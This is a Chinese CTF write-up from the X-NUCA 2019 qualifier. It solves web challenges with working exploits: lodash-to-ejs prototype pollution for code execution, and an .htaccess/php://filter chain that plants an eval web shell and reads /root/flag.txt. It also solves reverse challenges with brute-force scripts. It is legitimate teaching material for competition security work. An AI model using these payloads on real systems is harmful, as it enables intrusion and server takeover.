X-NUCA 2019 线上赛 Writeup By ROIS

2019-08-27 约 1408 字 预计阅读 7 分钟

声明:本文 【X-NUCA 2019 线上赛 Writeup By ROIS】 由作者 wywwzjj 于 2019-08-27 08:56:00 首发 先知社区 曾经 浏览数 132 次

感谢 wywwzjj 的辛苦付出!

WEB

HardJS

首先先看代码,稍微浏览一遍看看有什么奇怪的逻辑,一眼就能看出lodash.deepAssign很奇怪。但lodash一般来说不会有啥漏洞出现,因此npm audit一下看看是不是有洞。

于是,原型链污染get:https://nodesecurity.io/advisories/1065

那污染之后我们能干啥呢?那当然是RCE了。搜索了一下eval没搜到,那看看还有谁有动态拼接代码的就行了。这里用到了一个模板引擎ejs,它肯定有代码拼接;直接去看ejs源码。

随便划拉一下屏幕就发现了一大堆源码拼接,从中随便挑一个可以被污染的变量就好了。先看看哪些可能可以操作的,找找大量的xxx.yyy = xxx.yyy || DEFAULT聚集的地方:

options.client = opts.client || false;
  options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
  options.compileDebug = opts.compileDebug !== false;
  options.debug = !!opts.debug;
  options.filename = opts.filename;
  options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
  options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
  options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
  options.strict = opts.strict || false;
  options.context = opts.context;
  options.cache = opts.cache || false;
  options.rmWhitespace = opts.rmWhitespace;
  options.root = opts.root;
  options.outputFunctionName = opts.outputFunctionName;
  options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
  options.views = opts.views;
  options.async = opts.async;

这些全都是可以通过原型链污染控制的,因此再随便翻翻代码找个自己喜欢的点就好。我觉得这个不错:

var escapeFn = opts.escapeFunction;
// ......

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }

对于这个payload,将clientescapeFn污染即可RCE。构造出来的长这样:

{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}

构造完以后再回头去看题目代码(?顺序不太对吧),组合一下利用链。所以直接打五次后访问首页即可get flag:

POST /add HTTP/1.1
Content-Length: 156
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
x-forwarded-for: 127.0.0.1'
Connection: close

{"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}}

Ezphp

题目源码

<?php 
    $files = scandir('./');  
    foreach($files as $file) { 
        if(is_file($file)){ 
            if ($file !== "index.php") { 
                unlink($file); 
            } 
        } 
    } 
    include_once("fl3g.php"); 
    if(!isset($_GET['content']) || !isset($_GET['filename'])) { 
        highlight_file(__FILE__); 
        die(); 
    } 
    $content = $_GET['content']; 
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { 
        echo "Hacker"; 
        die(); 
    } 
    $filename = $_GET['filename']; 
    if(preg_match("/[^a-z\.]/", $filename) == 1) { 
        echo "Hacker"; 
        die(); 
    } 
    $files = scandir('./');  
    foreach($files as $file) { 
        if(is_file($file)){ 
            if ($file !== "index.php") { 
                unlink($file); 
            } 
        } 
    } 
    file_put_contents($filename, $content . "\nJust one chance"); 
?>

访问题目会立马删除同目录下除 index.php 以外的文件,传入的 $filename$content 被过滤后再通过 file_put_contents 写文件。可以正常上传 php 后缀的文件,但没有解析。打算从.user.ini 文件配置 auto_append_file,进行文件包含,但由于 $content 处过滤了 file 关键字。

对于这些过滤,最简单的办法就是编码绕过,结合这里的 file_put_contents ,不难想到 P牛之前发过的 谈一谈php://filter的妙用,也就是对文件内容编码后再利用 php 伪协议进行解码写入,可惜 filename 还有一层过滤,只能传入字母和点,伪协议就没法用了,那就继续绕 preg_match

说来也巧,P牛还有一篇 PHP利用PCRE回溯次数限制绕过某些安全限制,但这种绕过方式并不适合这题。沿着这思路继续看下 PHP手册,发现 pcre.backtrack_limitPHP_INI_ALL ,这意味着我们可以通过 .user.ini 对其进行修改。结合刚刚那篇文章,猜想这里的匹配 preg_match("/[^a-z\.]/)" 是不是也像这样[xxx]的进行回溯。

尝试 ini_set('pcre.backtrack_limit', 0),发现真能绕过preg_match,再结合 php://filter,就可以在任意位置写入任意内容,并进行文件包含,本地成功打通。

一弄到比赛环境就不行了,这时候队里师傅说这种方式并不适用于 php7,检查了好一会也没发现为什么在 php7 中如此设置会失效,最后看到 php7 多了个配置选项 pcre.jit,且这个配置默认为 1,于是尝试将 pcre.jit 设置成 0,成功。

这总算做完了吧?结果到了题目环境依旧不行,或许是某些原因导致环境中 .user.ini 并没有被解析,这时候就只有只能覆盖 .htaccess 了,但由于上传的文件内容会被额外添加一句"\nJust one chance".htaccess并没有 .user.ini 那么强的容错性,一旦格式错误就直接 500 了。在内容末尾加一个#aa\就可以突破这种限制。

基本流程就理清楚了:

首先上传一个.htaccess 绕过 preg_match,再使用 php://filterauto_append_file 的配置写入,覆盖掉原先.htaccess,马儿就到手了。

附带 payload

http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/?content=php_value%20pcre.backtrack_limit%200%0a%0dphp_value%20pcre.jit%200%0a%0d%0a%0d%23aa\&filename=.htaccess

下面这个打两次

http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/index.php?a=system(%27cat%20../../../root/flag.txt%27);exit;&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSNhYTw%2FcGhwIGV2YWwoJF9HRVRbJ2EnXSk7Pz5c%3C%3C&filename=php://filter/write=convert.base64-decode/resource=.htaccess

Reverse

ooollvm

通过动态调试一步一步的调出flag

程序对每个字符的判断逻辑,只有这两种处理方式:
(这是爆破符合条件的代码

for(i = 0;i < 256;i++){
    if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d )
        putchar(i);
}

其中0x871f,0x143,0x12c05d这三个的值会变化
for(i = 0;i < 256;i++){
    if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
        putchar(i);
}

flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pass}
(flag 连蒙带猜的,还好单词没有被替换成数字啥的

这是我调试时写的代码,(很乱

#include <stdio.h>

int main(){
    int i;
    // for(i = 0;i < 256;i++){
        // if(i*0x7a9a-(i*i*0x133-i*i*i) == 0x104e08)
            // putchar(i);
    // }

    // for(i = 0;i < 256;i++){
        // if(i*0x7b67-(i*i*0x134-i*i*i) == 0x1076f4)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x97e5-(i*i*0x156-i*i*i) == 0x166ca4)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x98d4-(i*i*0x157-i*i*i) == 0x16a460)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x895c-(i*i*0x145-i*i*i) == 0x135420)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x888b-(i*i*0x144-i*i*i) == 0x132978)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
            // putchar(i);
    // }
    // flag{this_is_
    // for(i = 0;i < 256;i++){
        // if(i*0x7a3f-(i*i*0x133-i*i*i) == 0x102b8d)
            // putchar(i);
    // }
    // flag{this_is_a_
    // for(i = 0;i < 256;i++){
        // if(i*0x6b3f-(i*i*0x11f-i*i*i) == 0xd5ba1)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x767f-(i*i*0x12e -i*i*i) == 0xf7792)
            // putchar(i);
    // }
    // flag{this_is_a_na
    // for(i = 0;i < 256;i++){
        // if(i*0x7e95-(i*i*0x138 -i*i*i) == 0x11185e)
            // putchar(i);
    // }
    // flag{this_is_a_nai
    // for(i = 0;i < 256;i++){
        // if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
            // putchar(i);
    // }
    // flag{this_is_a_naiv
    // for(i = 0;i < 256;i++){
        // if(i*0x8861-(i*i*0x144 -i*i*i) == 0x13183e)
            // putchar(i);
    // }
    // flag{this_is_a_naive_
    // for(i = 0;i < 256;i++){
        // if(i*0x7fd3-(i*i*0x13a -i*i*i) == 0x1146b2)
            // putchar(i);
    // }
    // flag{this_is_a_naive_b
    // for(i = 0;i < 256;i++){
        // if(i*0x7083-(i*i*0x126 -i*i*i) == 0xe5916)
            // putchar(i);
    // }
    // flag{this_is_a_naive_bu
    // for(i = 0;i < 256;i++){
        // if(i*0x7c93-(i*i*0x136 -i*i*i) == 0x109ef6)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but
    // for(i = 0;i < 256;i++){
        // if(i*0x8e36-(i*i*0x14b -i*i*i) == 0x144b88)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x8b7b-(i*i*0x148 -i*i*i) == 0x13ac7c)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_
    // for(i = 0;i < 256;i++){
        // if(i*0x80c4-(i*i*0x13b -i*i*i) == 0x117ce0)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_h
    // for(i = 0;i < 256;i++){
        // if(i*0x71ff-(i*i*0x128 -i*i*i) == 0xe9f98)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_ha
    // for(i = 0;i < 256;i++){
        // if(i*0x80ea-(i*i*0x13b -i*i*i) == 0x118c50)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_har
    // for(i = 0;i < 256;i++){
        // if(i*0x7d9e -(i*i*0x137 -i*i*i) == 0x10df88)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard
    // for(i = 0;i < 256;i++){
        // if(i*0x7bf2 -(i*i*0x135 -i*i*i) == 0x108678)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_
    // for(i = 0;i < 256;i++){
        // if(i*0x79a9 -(i*i*0x132 -i*i*i) == 0x101724)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_o
    // for(i = 0;i < 256;i++){
        // if(i*0x780d -(i*i*0x130 -i*i*i) == 0xfc4c2)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_ob
    // for(i = 0;i < 256;i++){
        // if(i*0x7dc4 -(i*i*0x137 -i*i*i) == 0x10ee34)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obf
    // for(i = 0;i < 256;i++){
        // if(i*0x8274 -(i*i*0x13d -i*i*i) == 0x11d87c)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_
    // for(i = 0;i < 256;i++){
        // if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_p
    // for(i = 0;i < 256;i++){
        // if(i*0x7a6c -(i*i*0x133 -i*i*i) == 0x103c40)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_pr
    // for(i = 0;i < 256;i++){
        // if(i*0x85be -(i*i*0x141 -i*i*i) == 0x128220)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_pro
    // for(i = 0;i < 256;i++){
        // if(i*0x93de -(i*i*0x151 -i*i*i) == 0x15a020)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program
    // for(i = 0;i < 256;i++){
        // if(i*0x8509 -(i*i*320 -i*i*i) == 0x12644a)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x75bf -(i*i*0x12d -i*i*i) == 0xf5393)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_c
    // for(i = 0;i < 256;i++){
        // if(i*0x7757 -(i*i*0x12f -i*i*i) == 0xfa479)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_co
    // for(i = 0;i < 256;i++){
        // if(i*0x78db -(i*i*0x131 -i*i*i) == 0xfedf3)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x8457 -(i*i*0x13f -i*i*i) == 0x1246e9)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compi
    // for(i = 0;i < 256;i++){
        // if(i*0x8f83 -(i*i*0x14c -i*i*i) == 0x14ad50)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x8a55 -(i*i*0x146 -i*i*i) == 0x138f30)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compile
    // for(i = 0;i < 256;i++){
        // if(i*0x897c -(i*i*0x145 -i*i*i) == 0x136140)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compiled
    // for(i = 0;i < 256;i++){
        // if(i*0x7c40 -(i*i*0x135 -i*i*i) == 0x10a4f0)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_
    // for(i = 0;i < 256;i++){
        // if(i*0x720b -(i*i*0x128 -i*i*i) == 0xea40c)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_b
    // for(i = 0;i < 256;i++){
        // if(i*0x6fc2 -(i*i*0x125 -i*i*i) == 0xe34b8)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_
    // for(i = 0;i < 256;i++){
        // if(i*0x7f97 -(i*i*0x13a -i*i*i) == 0x11306e)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm
    // for(i = 0;i < 256;i++){
        // if(i*0x8807 -(i*i*0x144-i*i*i) == 0x12f174)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x867b -(i*i*0x142-i*i*i) == 0x12a502)
            // putchar(i);
    // }
    // flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pas
    // for(i = 0;i < 256;i++){
        // if(i*0x81b3 -(i*i*0x13c-i*i*i) == 0x11b250)
            // putchar(i);
    // }
    // for(i = 0;i < 256;i++){
        // if(i*0x77ff -(i*i*0x130-i*i*i) == 0xfbf90)
            // putchar(i);
    // }
    for(i = 0;i < 256;i++){
        if(i*0x8853 -(i*i*0x144-i*i*i) == 0x131050)
            putchar(i);
    }
    puts("");
    return 0;
}

CleverBird

跳过游戏部分, 判断逻辑是这样,

# while ( *(&ConsoleCursorInfo[0].dwSize + idx_v17) == ((v11 >> v19) ^ (Dst[idx_v17] - '0')) )
# {
# v19 += 8;
# ++idx_v17;
# if ( v19 >= 32 )

ida_chars = [0x16, 0xE4, 0xB3, 0xBD]
v11 = 0xA991E504
flag = ""
v11 = [0x04, 0xe5, 0x91, 0xa9]
for i in range(len(ida_chars)):
    flag += chr((ida_chars[i] ^ (v11[i])) + 0x30)
    print(flag)

flag 前 4 个: flag{B1RD.....

if ( v12 ) {
    v16 = &v37;
    while ( 1 ) {
        v17 = *v16++;
        if ( v17 != v12 % 2 + 48 )
            break;
        v12 /= 2;
        if ( !v12 )
            goto LABEL_20;
    }
}

只要知道 v12 是多少就行了,v12 是我们的 score,爆破就好了。最后脚本:

#include<stdio.h>
#include<string.h>


int main(){

    int win_count;
    for(win_count = 1;win_count != 0xffffffff;win_count++){
        float t = ((float)win_count)*0.5;
        int bvisible = *(int*)(&t);

        t = (float)win_count;
        int dwCursorPosition = 0x5F3759DF-((*(int*)(&t))>>1);

        int res = (int)
                ( ((((((1.5-((*(float*)(&dwCursorPosition))*(*((float*)&bvisible)))*(*(float*)(&dwCursorPosition)))*(*(float*)(&dwCursorPosition)))
                    *  100000000.0) * 10.0) + 5.0) / 10.0)
                        );
        if(res == 0x436AE){
            printf("find! res is %d\n",win_count);
            break;
        }
    }
    return 0;
}

最后的 v12 = 0x20002,flag 为 flag{B1RD010000000000000001}

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now